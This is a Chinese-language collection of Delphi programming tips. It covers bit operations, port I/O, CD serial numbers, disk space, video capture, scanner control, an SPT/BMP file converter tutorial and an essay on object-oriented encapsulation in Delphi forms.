在Environment Options对话框中的AutoSave是一个很有用的选项，它可以在你运行程序或者调试程序之前，保存源文件，项目文件或者桌面设置，从而避免调试过程中的意外崩溃导致数据丢失。(强烈建议至少选中Auto Save Editor Files；我很奇怪这为什么没有成为默认设置。)


NewTopic24

unit Bitwise;

interface
function IsBitSet(const val: longint; const TheBit:
byte): boolean;
function BitOn(const val: longint; const TheBit:
byte): LongInt;
function BitOff(const val: longint; const TheBit:
byte): LongInt;
function BitToggle(const val: longint; const TheBit:
byte): LongInt;

implementation

function IsBitSet(const val: longint; const TheBit: byte):
boolean;
begin
result := (val and (1 shl TheBit)) <>
0;
end;

function BitOn(const val: longint; const TheBit: byte): LongInt;
begin
result := val or (1 shl TheBit);
end;

function BitOff(const val: longint; const TheBit: byte):
LongInt;
begin
result :=       val and ((1 shl TheBit) xor
$FFFFFFFF);
end;

function BitToggle(const val: longint; const TheBit: byte): LongInt;
begin
result := val xor (1 shl TheBit);
end;

end.


NewTopic98

Delphi 2.0以上版本使用汇编语言，不能使用DOS下的中断调用及汇编必须将BX寄存器入栈。
Procedure TForm1.Button1Click(Sender:TObject);
begin
ASM
push bx //此行汇编必须要有，且在第一行
mov ax,0ffh
add ax,033h
pop bx //必须恢复BX寄存器，否则系统出现不可预料的错误，小心当机。
END;
end;


NewTopic99

function InPort(PortAddr: word): byte;
{$IFDEF VER90}
assembler; stdcall;
asm
mov dx,PortAddr
in al,dx
end;

{$ELSE}

begin
Result := Port[PortAddr];
end;

{$ENDIF}

procedure OutPort(PortAddr: word; Databyte: byte);
{$IFDEF VER90}
assembler; stdcall;
asm
mov al,Databyte
mov dx,PortAddr
out dx,al
end;

{$ELSE}

begin
Port[PortAddr] := DataByte;
end;

{$ENDIF}


获取光盘的序列号

uses MMSystem, MPlayer;

procedure TForm1.Button1Click(Sender: TObject);
var
mp :
TMediaPlayer;
msp : TMCI_INFO_PARMS;
MediaString :
array[0..255] of char;
ret : longint;
begin
mp :=
TMediaPlayer.Create(nil);
mp.Visible := false;
mp.Parent :=
Application.MainForm;
mp.Shareable := true;
mp.DeviceType :=
dtCDAudio;
mp.FileName := 'D:';
mp.Open;
Application.ProcessMessages;
FillChar(MediaString,
sizeof(MediaString), #0);
FillChar(msp, sizeof(msp), #0);
msp.lpstrReturn := @MediaString;
msp.dwRetSize := 255;
ret
:=
mciSendCommand(Mp.DeviceId,
MCI_INFO,
MCI_INFO_MEDIA_IDENTITY,
longint(@msp));
if Ret <> 0 then begin
MciGetErrorString(ret, @MediaString, sizeof(MediaString));
Memo1.Lines.Add(StrPas(MediaString));
end else
Memo1.Lines.Add(StrPas(MediaString));
mp.Close;
Application.ProcessMessages;
mp.free;
end;

end.


获取大于2G的硬盘容量

function GetDiskFreeSpaceEx(lpDirectoryName: PAnsiChar;
var
lpFreeBytesAvailableToCaller : Integer;
var lpTotalNumberOfBytes:
Integer;
var lpTotalNumberOfFreeBytes: Integer) : bool;
stdcall;
external kernel32
name 'GetDiskFreeSpaceExA';

procedure GetDiskSizeAvail(TheDrive :
PChar;
var TotalBytes :
double;
var TotalFree : double);
var
AvailToCall : integer;
TheSize : integer;
FreeAvail : integer;
begin
GetDiskFreeSpaceEx(TheDrive,
AvailToCall,
TheSize,
FreeAvail);
{$IFOPT Q+}
{$DEFINE
TURNOVERFLOWON}
{$Q-}
{$ENDIF}
if TheSize >= 0
then
TotalBytes := TheSize else
if TheSize = -1
then begin
TotalBytes := $7FFFFFFF;
TotalBytes := TotalBytes * 2;
TotalBytes := TotalBytes +
1;
end else
begin
TotalBytes :=
$7FFFFFFF;
TotalBytes := TotalBytes + abs($7FFFFFFF -
TheSize);
end;

if AvailToCall >= 0 then
TotalFree := AvailToCall else
if AvailToCall = -1 then begin
TotalFree := $7FFFFFFF;
TotalFree := TotalFree * 2;
TotalFree := TotalFree + 1;
end else
begin
TotalFree := $7FFFFFFF;
TotalFree := TotalFree + abs($7FFFFFFF - AvailToCall);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
TotalBytes : double;
TotalFree : double;
begin
GetDiskSizeAvail('C:\',
TotalBytes,
TotalFree);
ShowMessage(FloatToStr(TotalBytes));
ShowMessage(FloatToStr(TotalFree));
end;


视频采集

视频采集，存成avi
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls;

type
TForm1 = class(TForm)
Panel1: TPanel;
OpenVideo: TButton;
CloseVideo: TButton;
GrabFrame: TButton;
SaveBMP: TButton;
StartAVI: TButton;
StopAVI: TButton;
SaveDialog1: TSaveDialog;
procedure FormCreate(Sender: TObject);
procedure OpenVideoClick(Sender: TObject);
procedure CloseVideoClick(Sender: TObject);
procedure GrabFrameClick(Sender: TObject);
procedure SaveBMPClick(Sender: TObject);
procedure StartAVIClick(Sender: TObject);
procedure StopAVIClick(Sender: TObject);
private
{ Private declarations }
hWndC : THandle;
CapturingAVI : bool;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const WM_CAP_START = WM_USER;
const WM_CAP_STOP = WM_CAP_START + 68;
const WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;
const WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;
const WM_CAP_SAVEDIB = WM_CAP_START + 25;
const WM_CAP_GRAB_FRAME = WM_CAP_START + 60;
const WM_CAP_SEQUENCE = WM_CAP_START + 62;
const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;

function capCreateCaptureWindowA(lpszWindowName : PCHAR;
dwStyle : longint;
x : integer;
y : integer;
nWidth : integer;
nHeight : integer;
ParentWin : HWND;
nId : integer): HWND;
STDCALL EXTERNAL 'AVICAP32.DLL';

procedure TForm1.FormCreate(Sender: TObject);
begin
CapturingAVI := false;
hWndC := 0;
SaveDialog1.Options :=
[ofHideReadOnly, ofNoChangeDir, ofPathMustExist]
end;

procedure TForm1.OpenVideoClick(Sender: TObject);
begin
hWndC := capCreateCaptureWindowA('My Own Capture Window',
WS_CHILD or WS_VISIBLE ,
Panel1.Left,
Panel1.Top,
Panel1.Width,
Panel1.Height,
Form1.Handle,
0);
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);
end;

procedure TForm1.CloseVideoClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);
hWndC := 0;
end;
end;

procedure TForm1.GrabFrameClick(Sender: TObject);
begin
if hWndC <> 0 then
SendMessage(hWndC, WM_CAP_GRAB_FRAME, 0, 0);
end;

procedure TForm1.SaveBMPClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := 'bmp';
SaveDialog1.Filter := 'Bitmap files (*.bmp)|*.bmp';
if SaveDialog1.Execute then
SendMessage(hWndC,
WM_CAP_SAVEDIB,
0,
longint(pchar(SaveDialog1.FileName)));
end;
end;

procedure TForm1.StartAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SaveDialog1.DefaultExt := 'avi';
SaveDialog1.Filter := 'AVI files (*.avi)|*.avi';
if SaveDialog1.Execute then begin
CapturingAVI := true;
SendMessage(hWndC,
WM_CAP_FILE_SET_CAPTURE_FILEA,
0,
Longint(pchar(SaveDialog1.FileName)));
SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);
end;
end;
end;

procedure TForm1.StopAVIClick(Sender: TObject);
begin
if hWndC <> 0 then begin
SendMessage(hWndC, WM_CAP_STOP, 0, 0);
CapturingAVI := false;
end;
end;

end.


Data Ware控件转换到ActiveX

 所有delphi的data ware控件都是不能转换成ActiveX
ActiveX wizard是故意不把db controls放在可转换
列表里的，甚至Tlistbox也不能完全转换
它的ondrawitem事件在转换后就丢失了，因为它包含
了一个参数TRect是ActiveX所不支持的数据类型


NewTopic500

     不管你的程序如何反复调试，交给用户之后，总有可能发生你意想不到的错误，如何避免Win95显示出白色的窗口，告诉你的用户发生了难堪的意外错误呢？我们可以这样做：
var
wOldErrorMode:Word;
begin
wOldErrorMode:=SetErrorMode(SEM_FAILCRITICALERRORS);
try
finally
SetErrorMode(wOldErrorMode);
end;
end;


NewTopic735

 procedure HideTaskBar;
var
hApp: HWND;
rcWork: TRect;
begin
{ get the taskbar handle }
hApp := FindWindow('Shell_TrayWnd', '');
if hApp <> 0 then begin
{ hide taskbar }
ShowWindow(hApp, SW_HIDE);
{ set workarea to full screen }
FullScreenArea;
end;
end;
procedure ShowTaskBar;
var
hApp: HWND;
rcApp, rcWork: TRect;
begin
{ get the taskbar handle }
hApp := FindWindow('Shell_TrayWnd', '');
if hApp <> 0 then begin
{ restore taskbar }
ShowWindow(hApp, SW_RESTORE);
{ set workarea excluding taskbar }
StandardArea;
end;
end;


控制扫描仪

在Delphi中控制扫描仪

---- 在利用Delphi开发信息管理系统时，常常要处理图象，这也是信息管理系统发展的必然趋势。怎样在Delphi中通过扫描仪获得所需的图象信息呢？不外乎有三种基本的方法：

  1. 通过图象处理软件，比如说Photoshop等，通过它们的扫描图象的功能，加工成一定格式的图象后再在自己的系统中利用；
  2. 通过扫描仪接口Twain.DLL 。该接口是在安装扫描仪时提供的，它实际上是一个Plugin插件，它通过一系列函数来控制扫描仪；
  3. 通过构件技术来控制扫描仪。
---- 利用第一种方法能减少编程的复杂度，但是系统的集成度不高，用户使用上也不方便；第二种方法能在驱动程序级直接控制扫描仪，能在编程上提供最大的灵活性和可控性；第三种方法能充分利用Delphi的可视化构件技术，安全、灵活、自由地利用扫描仪。其实第三种方法也是建立在扫描仪接口Twain.DLL之上的。本文论述的方法就采用第三种。

---- Windows9X在其附件中提供了“映象”可选件，该附件是采用OCX构件来控制扫描仪的，共有imgEdit、imgAnntool、imgScan、imgAdmin 四个，有这四个构件基本上就能完全控制扫描仪。在Delphi中的用法如下：

  1. 在Windows9x中选择安装“映象”。（在控制面板中选择“添加/删除程序”，再选择“安装Windows”，点击“附件”复选框，然后从“详细资料”按钮中可以找到“映象”）
  2. 启动Delphi，选择“Component”菜单项下的“Import ActiveX Control”，这时可以看到列表中有“Wang 图象编辑控制、Wang 图象扫描控制、Wang 图象管理控制、Wang 图象缩略图控制”，选中这四项，然后点击“Install”按钮，这时在构件面板上的ActiveX舌标下就可以看到这四个构件的图标。
---- ImgScan 的主要属性：FileType：图象的文件类型（该构件支持三种：TIFF，BMP，AWD）；
ScanTo：返回或设置被扫描图象的目的；
可取值            含义
0  (缺省)     显示被扫描的图象.
1	         显示被扫描的图象并写入一个文件.
2	         把图象写入一个文件
3	         以模板方式把图象写入文件并显示.
4	.        以模板方式把图象写入文件
5	         传真被扫描的图象
注意：如果取缺省值0，
必须和 Wang ImgEdit 构件配合使用。
 DestImageControl：Wang ImgEdit构件名；
Zoom：图象的放缩比例

ImgScan 的主要方法：OpenScanner ：打开扫描仪；
CloseScanner ：关闭扫描仪；
StartScan ： 开始扫描；
StopScan ：  停止扫描
---- ImgEdit 的属性主要是控制扫描图象的分辨率、图象的宽高、是否允许对图象进行局部选 择等；其方法主要有拷贝、剪切图象到粘贴板，从粘贴板复制图象，旋转、放缩、 镜象图象；打印、保存、刷新图象等。

---- 关于上述四个OCX构件的详细使用说明可在Delphi中查看其自带的帮助系统。

---- 下面是使用这两个构件的一些例子：

procedure Tscanf.N1Click(Sender: TObject);
begin
ImgScan1.ShowSelectScanner;
//选择系统中已安装的扫描仪
end;

procedure Tscanf.N2Click(Sender: TObject);
begin
    imgedit1.zoom:=100;  //设置图象的放缩因子
    if  not imgscan1.ScannerAvailable then
  //如果选择的扫描仪不可用
       imgscan1.OpenScanner;//打开扫描仪
       imgscan1.StartScan; //开始扫描图象
       imgscan1.CloseScanner; //关闭扫描仪
end;

procedure Tscanf.N8Click(Sender: TObject);
begin
if (imgedit1.IsClipboardDataAvailable
and imgedit1.ImageDisplayed ) then
   imgedit1.ClipboardPaste(selleft,seltop);
//从剪贴板粘贴图象，其参数为Imgedit的显示区域的起始坐标
end;

procedure Tscanf.N1801Click(Sender: TObject);
begin
 if imgedit1.ImageDisplayed then
   imgedit1.Flip;        //镜象图象
 end;

procedure Tscanf.N901Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
imgedit1.RotateRight    //向右旋转图象
end;
procedure Tscanf.N6Click(Sender: TObject);
begin
 imgedit1.DrawSelectionRect(selleft,
seltop,selwidth,selheight);//进行图象局部选择
 imgedit1.ClipboardCut(selleft,seltop,
selwidth,selheight);//剪切所选区域
end;
---- 注意：在DELPHI中使用Imgedit构件的拷贝和剪切功能时，会出现以下问题：

---- 1、 如果把整幅图象都选中，没有任何问题；

---- 2、 如果选择了局部区域，则拷贝和剪切的区域会发生漂移；

---- 3、 如果DELPHI做的是MS SQL后端数据库的客户端界面，那么在把图象内容写入数据库的图象字段中时，BDE（数据库引擎）会报错。这是DELPHI3。0和4。0的BUG，4。0的升级包可以解决这个问题。

---- 至于第二个问题，可这样解决：在Imgedit的onSelectionRectDrawn事件中写一段代码，把选择区域的边界值保存到四个全局变量中，在拷贝和剪切之前用先前保存的变量再进行一次选择即可（当然，这一切都在后台进行的，见前面的例子）。

附源代码。


SPT和BMP的转换

一个实用的文件格式转换程序

提要 本文从初学者的角度介绍了Object Pascal语言的基础知识，通过创建一个能完成
Windows的位图文件(BMP)和SPDOS的(.SPT)文件相互转换的Windows程序，介绍了如何建
立一个独立代码单元并将它和窗体界面相关联的方法步骤。
上一讲介绍了组件及其属性和定制组件的方法步骤。在DELPHI中，组件是设计应用程序
界面的主要工具，并能有效地降低Windows编程的强度，使程序员不致于陷入界面编程的
泥潭，能把主要精力集中于程序功能部分的设计。要实现程序的功能，主要使用DELPHI
的基础语言Object Pascal进行编程，因此不了解和掌握Object Pascal语言是不行的。
本讲着重介绍Object Pascal的数据、函数和过程、单元等概念，以后我们将会逐步讲到
其他更高级的概念。
界面设计
第二讲着重讲解了界面设计，现在我们首先用上一讲所学的知识设计文件格式转换程序
的界面。
主窗口的规划
该程序的主窗体被设计成一个简单的对话窗体，为了转换图片文件，需要一个输入文件
名的编辑框、一个“转换”按钮和一个“关闭”窗口按钮，这就是最简单的配置了，如
图1所示。主窗体和其包含的组件的主要属性见表1所示。
表1 有关组件的主要属性
组件名
属性名
取值
Form
BorderIcons
[biSystemMenu,biMinimize]
   BorderStyle
bsDialog
   Caption
转换SPT和BMP文件
   Name
FrmSPTBMP
Label
Caption
源文件名
Edit
Text

Button1
Caption
转换
   Name
btnTransfer
Button2
Caption
退出
为了单击“退出”按钮能够关闭窗口，为Button2创建OnClick事件处理程序如下：
procedure TFrmSPTBMP.Button2Click(Sender: TObject);
begin
close;
end;
添加获取文件名的组件
在编辑框中输入图片文件名，需要事先知道图片文件的名称和路径，并且正确地输入到
编辑框中，在Windows系统下，常常不用这种方法，而是用对话窗口，从列表框中查找并
选择，这样不仅能免去记忆文件名的过程，而且不容易出错。为了达到这个目的，再向
窗体上添加一个按钮组件和一个打开文件对话组件OpenDialog（在Dialog组件页上）。
这两个组件的主要属性表2。
表2 添加组件的属性
组件名
属性名
取值
Button
Caption
浏览
   Name
btnBrowse
OpenDialog
Filter
Bitmap file |*.bmp|Super-DOS SPT file|*.spt
   Title
选择文件
当用户单击按钮时，应该弹出打开文件对话窗口，要求用户从列表框中选择文件，因此
为按钮创建了一个OnClick事件处理程序如下：
procedure TFrmSPTBMP.BtnBrowseClick(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
Edit1.Text := OpenDialog1.FileName;
FileName := OpenDialog1.FileName;
BtnTransfer.Enabled := true;
if UpperCase(ExtractFileExt(FileName)) = '.SPT' then
OpenDialog1.FilterIndex := 2
else
if UpperCase(ExtractFileExt(FileName)) = '.BMP' then
begin
OpenDialog1.FilterIndex := 1;
BtnDisplay.Enabled := true;
end
else
begin
Edit1.Text := '';
FileName := '';
BtnTransfer.Enabled := false;
end;
end;
end;
在这个过程中，使用了一个FileName的字符串变量，它是在窗体对象的私有部分(Priva
te declarations)声明的一个变量，需要您切换到代码编辑窗口，找到：
private
{ Private declarations }
部分，在其下添加如下变量声明语句：
FileName : String[79];
锦上天花
图形文件文件中的图形是什么样的？现在我们还不知道，那么向窗体再添加一个显示当
前图形文件的图形组件，让我们在转换图片的同时能够欣赏到图片，这不是更好吗？为
了显示图片，现向窗体添加一个Image组件和一个按钮。添加按钮的目的是允许用户单击
按钮显示图片，它们的属性见表3。
表3 新添加组件的属性
组件名
属性名
取值
Button
Caption
显示图片
   Name
btnDisplay
Image
Stretch
True
为了实现单击按钮可以弹出图片，为其创建了一个OnClick事件处理程序，清单如下：
procedure TFrmSPTBMP.BtnDisplayClick(Sender: TObject);
begin
image1.picture.loadfromfile(changefileext(filename,'.BMP'));
end;
为了美观，在图片组件和按钮组件之间加上一个Bevel组件，将它的Height属性设置为2
，长度刚好达到窗体左右两边即可，完成的窗体如图2。
Object Pascal的数据、函数和过程、单元
窗口界面设计好了，但是它还不能实际工作，原因是没有合适的转换文件的过程。要转
换图片文件，需要分析图片文件的结构，编写具体的转换过程才行。这就要用到Object
Pascal的编程知识了，为了帮助DELPHI初学者掌握Object Pascal，下面介绍Object P
ascal的数据类型、常量、变量、函数、过程和单元等内容。
数据类型
在声明变量时，必须指明其类型，以确定其取值范围和可进行的操作。Object Pascal提
供6种类型：简单类型、字符串类型、结构类型、指针类型、过程类型、可变类型。Obj
ect Pascal有许多预定义类型，同时也允许用户自己定义数据类型。下面我们介绍最常
用的预定义类型和自定义类型的方法。
1 Pascal预定义类型
Object Pascal提供许多预定义数据类型，表1列出了在Object Pascal编程中最常用的一
些类型。
表1 Object Pascal提供常用预定义类型
类型名
意义或范围
长度
shortint
-128～127
1字节
integer
-32768～32767
2字节
longint
-2147483648～2147483647
4字节
byte
0～255
1字节
word
0～65535
2字节
boolean
TRUE或FALSE
1字节
char
所有字符
1字节
real
2.9×10－39～1.7×1038
6字节
string
字符串
最大255个字节
variant
可变类型，用它声明的变量，可被赋予不同类型的值
根据赋值的类型而定
2 自定义类型的方法
要自定义类型，需要用保留字Type引导，然后跟类型说明，这部分被称为类型说明部分
，可以在Program或Unit的头部申明。下面是自定义数据类型的例子：
Type
String3 = String[3];
RealArr3 = array[1..3] of real;
在上面的类型声明中，等号前面的为类型标识符，等号后面为类型的说明。
常量和变量
常量就是在程序运行期间其值不变的量，分为无类型常量和类型常量两种。变量就是在
程序运行期间其值不断变化的量。在程序中使用常量和变量之前，必须声明它们。
1 声明常量的方法
常量的声明包括在以保留字Const开始的常量声明部分，下面是常量声明的例子：
Const
max = 100;
MyName : String = 'Dong Zhanshan';
与类型声明一样，等号前面的部分为常量标识符，供在程序中引用常量时使用，后面是
常量的值。第2个常量为类型常量，在常量标识符后面有一个用“:”符号引导的类型说
明符。
2 声明变量的方法
变量的声明包括在以保留字Var开始的变量声明部分，下面是声明变量的例子：
Var
i,j,k : integer;
digit : 0..9;
matrix : array[1..5,1..5] of real; { 声明一个两维数组，或称为矩阵 }
在变量声明中，冒号前面的为变量标识符，后面的为类型标识符，指明变量的类型。
函数与过程
有了数据，还要有使用数据的函数或过程，在Object Pascal中，声明函数和过程的方法
分别是：
函数 Function 函数名(参数表) : 函数返回类型;
过程 Procedure 过程名(参数表）;
在函数头或过程头下是常量和变量的声明，之后是函数体或过程体，它们是用Begin和E
nd括起来的一条或多条Pascal语句，完成一定的功能。具体例子见后面SPTBMP单元中的
SPT_to_BMP和BMP_to_SPT过程。
单元
单元是Object Pascal模块化编程的基础，它用来创建能被许多程序引用而不需要源程序
的库，把大程序分割成逻辑上相关的若干个模块。Object Pascal的预定义函数和过程都
是用单元实现的。单元的一般结构见图3所示。在单元接口部分声明的类型、常量、变量
、过程和函数等内容均可以被引用此单元的程序使用；而在实现部分声明的类型、常量
、变量、过程和函数均是私有的，不能被引用单元的程序使用。在接口部分声明的过程
和函数只有头部，而其程序体在实现部分。
文件与数据的存取
在Pascal中，要存取数据，就要用到文件和处理文件的过程和函数，下面简要介绍Pasc
al的文件类型和系统提供处理文件的库函数和过程。
文件类型和文件变量
Pascal的文件类型分为3种，即类型文件（file of type）、文本文件(Text)和无类型文
件(file)。可以用这些类型来声明文件变量。在使用一个文件变量之前，必须通过调用
AsignFile过程将变量同一个外部文件相关联，一般为磁盘文件。
文件变量与外部文件建立了联系之后，必须打开文件，以便进行数据的输入和输出。用
Reset打开已存在的文件，用Rewrite创建并打开新文件。用Reset打开的文本文件只能读
，用Rewrite和Append打开的文本文件只能写。对类型和无类型文件，无论是用Reset还
是用Rewrite打开的文件均可读写。
文件操作函数与过程
表2列出了Object Pascal的常用文件操作函数和过程。
表2 Object Pascal提供的文件函数和过程
过程(函数)名
功能
适用范围
AssignFile
将一个外部文件名赋予一个文件变量
全部
CloseFile
关闭一个打开的文件
全部
Reset
打开一个已存在的文件
全部
Rewrite
创建并打开一个文件
全部
Append
按添加方式打开一个文本文件
文本文件
Eof
返回文件的结束状态(函数)
全部
Read
从一个文件中读一个或多个值
文本文件、类型文件
Write
向一个文件中写一个或多个值
文本文件、类型文件
BlockRead
将一个或多个记录读入一个变量中
无类型文件
BlockWrite
将一个或多个记录从变量中写入文件中
无类型文件
FilePos
返回文件的当前读写位置(函数)
类型和无类型文件
FileSize
返回文件的大小(函数)
类型和无类型文件
IOResult
返回最后I/O函数的执行状态的整数值(函数)
全部
Seek
将文件指针移到指定位置，实现随机读写
类型和无类型文件
程序的进一步完善
学习了Object Pascal的有关内容后，现在继续设计我们的程序，首先需要创建一个单元
，它包括处理图形文件的两个过程。
创建一个独立单元SPTBMP.PAS
单击“File”菜单中的“New”命令，弹出“New Item”对话窗口，单击“New”选项页
上标题为“Unit”的图标，单击〖OK〗按钮，打开代码编辑窗口，一个单元的框架DELP
HI已经帮您建立好了。单击加速条上的“Save file”按钮，打开保存文件对话窗口，在
“文件名”编辑框中输入“SPTBMP.PAS”，单击〖保存〗按钮，保存新建单元。SPTBMP
单元程序清单如下：
unit SPTBMP;
interface
uses SysUtils;
procedure SPT_to_BMP(SPT_file:string);
procedure BMP_to_SPT(BMP_file:string);
implementation
const
SPT_Head : array[1..64] of byte = (
$53,$75,$70,$65,$72,$2D,$53,$74,$61,$72,$20,$46,$69,$6C,$65,$1A,
$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$61,$62,$63,$64,
$40,$00,$00,$00,$00,$00,$01,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00);
BMP_Head : array[1..62] of byte = (
$42,$4D,$00,$00,$00,$00,$00,$00,$00,$00,$3E,$00,$00,$00,$28,$00,
$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$00,$01,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,
$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$FF,$FF,$FF,$00);
procedure SPT_to_BMP;
var
BMP_file : string;
ch : char;
BMP,SPT : file;
OneLine : array[1..1000] of char;
Width,Height,Bytes : word;
LineByte,Ofs,FileLength : longint;
Switch : string[3];
i : integer;
begin
BMP_File := ChangeFileExt(Spt_file,'.BMP');
assignfile(SPT,SPT_file);
{$I-} reset(SPT,1); {$I+}
assignfile(BMP,BMP_file);
rewrite(BMP,1);
seek(SPT,34);
blockread(SPT,Width,2);
blockread(SPT,Height,2);
bytes := Width div 8;
LineByte := ((Bytes + 3) div 4) * 4;
FileLength := FileSize(SPT);
move(FileLength,BMP_Head[3],4);
move(Width,BMP_Head[19],2);
move(Height,BMP_Head[23],2);
blockwrite(BMP,BMP_Head,62);
for i := bytes to LineByte do OneLine[i] := #0;
for i := Height downto 1 do
begin
Ofs := bytes * (i-1) + 64;
seek(SPT,ofs);
blockread(SPT,OneLine,Bytes);
blockWrite(BMP,OneLine,LineByte);
end;
closefile(SPT);
closefile(BMP);
end;
procedure BMP_to_SPT;
var
SPT_file : string;
ch : char;
BMP,SPT : file;
OneLine : array[1..1000] of char;
Width,Height,Bytes : word;
LineByte,Ofs,FileLength : longint;
Switch : string[3];
i : integer;
begin
SPT_File := ChangeFileExt(BMP_file,'.SPT');
assignfile(BMP,BMP_file);
{$I-} reset(BMP,1); {$I+}
assignfile(SPT,SPT_file);
rewrite(SPT,1);
seek(BMP,18);
blockread(BMP,Width,2);
seek(BMP,22);
blockread(BMP,Height,2);
bytes := (Width + 7) div 8;
LineByte := ((Width + 31) div 32) * 4;
Width := bytes * 8;
move(Width,SPT_Head[35],2);
move(Height,SPT_Head[37],2);
blockwrite(SPT,SPT_Head,64);
for i := Height downto 1 do
begin
Ofs := LineByte * (i-1) + 62;
seek(BMP,ofs);
blockread(BMP,OneLine,linebyte);
blockwrite(SPT,OneLine,bytes);
end;
closefile(BMP);
closefile(SPT);
end;
end.
关于SPT和BMP文件的格式，这里不作解释，有兴趣的读者可以查找有关的文献资料，需
要说明一点：SPT文件是单色的，所以在转换BMP文件时，要确保其是单色图形。
把SPTBMP单元和主窗口连接起来
新创建的代码单元必须和主窗体以某种形式连接起来才能发挥它的作用。连接的方法比
较简单，在主窗体单元的执行部分加上：
uses SPTBMP;
然后，创建“转换”按钮的OnClick事件处理程序，以完成文件格式的转换功能。事件处
理程序如下：
procedure TFrmSPTBMP.BtnTransferClick(Sender: TObject);
begin
if UpperCase(ExtractFileExt(Filename)) = '.SPT' then
begin
SPT_to_BMP(FileName);
BtnDisplay.Enabled := true;
end
else
BMP_to_SPT(FileName);
end;
至此，该程序已经设计好了，单击保存按钮，保存项目，然后单击“Run”菜单中的“R

un”命令或直接按<F9>键，编译并运行程序。


将面向对象的思想贯穿始终--谈Delphi开发(第一篇)

将面向对象的思想贯穿始终--谈Delphi开发
boymaster

摘　要：将面向对象的思想贯穿始终--谈Delphi开发
关键字：OOP,对象
类　别：API

国内有许多人将Delphi作为首选的开发工具。其原因当然是因为Delphi给开发者提供了诸多特性：面向对象的开发，可视化界面设计，组件丰富，多平台的可移植性(Delphi6的新特性）。

可是对于初学者来说，面向对象的思想可能并不是Delphi给其带来的最大的感受。而可视化的界面设计，丰富多样的可用组件反而给其留下最深刻难忘的印象。由此带来的严重的后果是，初学者往往在很长一段时间里，只将注意力集中在Delphi提供的现有的VCL组件的使用上，而忽视去思考面向对象的思想对于Delphi的整个组件构架体系所蕴含的意义。

下面的一段代码，包含了一个最常见的，也是初学者最易犯的一个错误，这个错误虽然不是语法错误，但是却显露出使用者的面向对象的思想还有待加强：

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(Form1.Caption); // <-- 这里的Form1的使用就有些问题。
end;

这样的代码，粗看看好像没有什么错。但是，这里Form1的出现就有些说不过去了。明明这里的代码，写的是TForm1的ButtonClick方法的实现，而Form1作为TForm1类的一个实例，居然被写死到类的实现中，难道不是有些概念混乱吗?要改成符合面向对象思想的，也很简单，可以有两种写法：

1. ShowMessage(Self.Caption); // <-- 这种写法非常明确，即将要Show的信息是类的当前实例的Caption

2. ShowMessage(Caption); // <-- 这里的写法和上述的雷同，省略了关键字Self；

面向对象思想的三大核心内容是封装，继承，多态。而上述例子暴露的问题就是封装的问题。类似的例子还有：

var

Form1: TForm1;

......

var

Form2: TForm2;

procedure TForm1.Button1Click(Sender: TObject);

begin

Form2.Show; // <-- 作为一个全局的变量，Form2在这里的使用同样让人觉得混乱。

end;

上述的例子，可能更具有普遍性吧，对于大多数情况，在一个工程中，TForm1，和TForm2只可能各只有一个实例，所以这样的代码也算马马虎虎通过。但是从严格意义上来说，也是不符合封装性的要求。参照如下代码：

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
FNext: TForm;
public
{ Public declarations }
property NextForm: TForm read FNext write FNext;
end;

var
Form1: TForm1;

implementation

uses Unit2;

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
if Assigned(FNext) then
TForm2(FNext).Show;
end;

end.

// 以下是工程文件中的内容：

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);

Form1.NextForm := Form2; // <-- 增加这么一句，勉强让代码符合封装的要求了

Application.Run;
end.

将Form2指针，作为Form1的一个属性，传递给Form1，这样，Form1在调用的时候，才遵守了封装性的原则！当然，这些代码仅仅是为了体现封装的思想，而在实际中，可以依个人的习惯来决定是否真的要实现的这么彻底。但是这种思想，应当在脑子里扎根......（未完，待续）。
终--谈Delphi开发

将面向对象的思想贯穿始终，这个题目好象有些大了。我刚才在这里说的，提到的，其实只是在编码的时候，应当注意的一些小问题。所以’贯穿始终’这个用语，改为’牢记在心’可能更为贴切。

对于Delphi某些特性的一点意见：

不知各位注意到没有，在Delphi的Form中放置的所有组件（包括控件），对于其他Form来说，都是可见的，准确地说，这些组件都是该Form的Public部分的内容。这样的结果，一方面是好的，因为其灵活性，其他类可以方便的引用Form上的这些组件，设置它们的属性，执行它们的方法，事件等等；但是另一方面它的缺陷也是显而易见的，那就是导致了Form的封装性的丧失。在我看来，放置于Form之上的这些组件，就使用者的本意而言，应当是作为该Form的私有属性而存在的，对于其他类或其他Form本应该不可见。即使需要访问它们，也应当通过由Form提供一系列的属性方法来间接的访问。

举个例子，让大家有些感性的认识：

procedure TForm1.Button1Click(Sender: TObject);

begin

Form2.Edit1.Text := 'abc'; // <-- 这个句子的写法，本人很不赞同。

end;

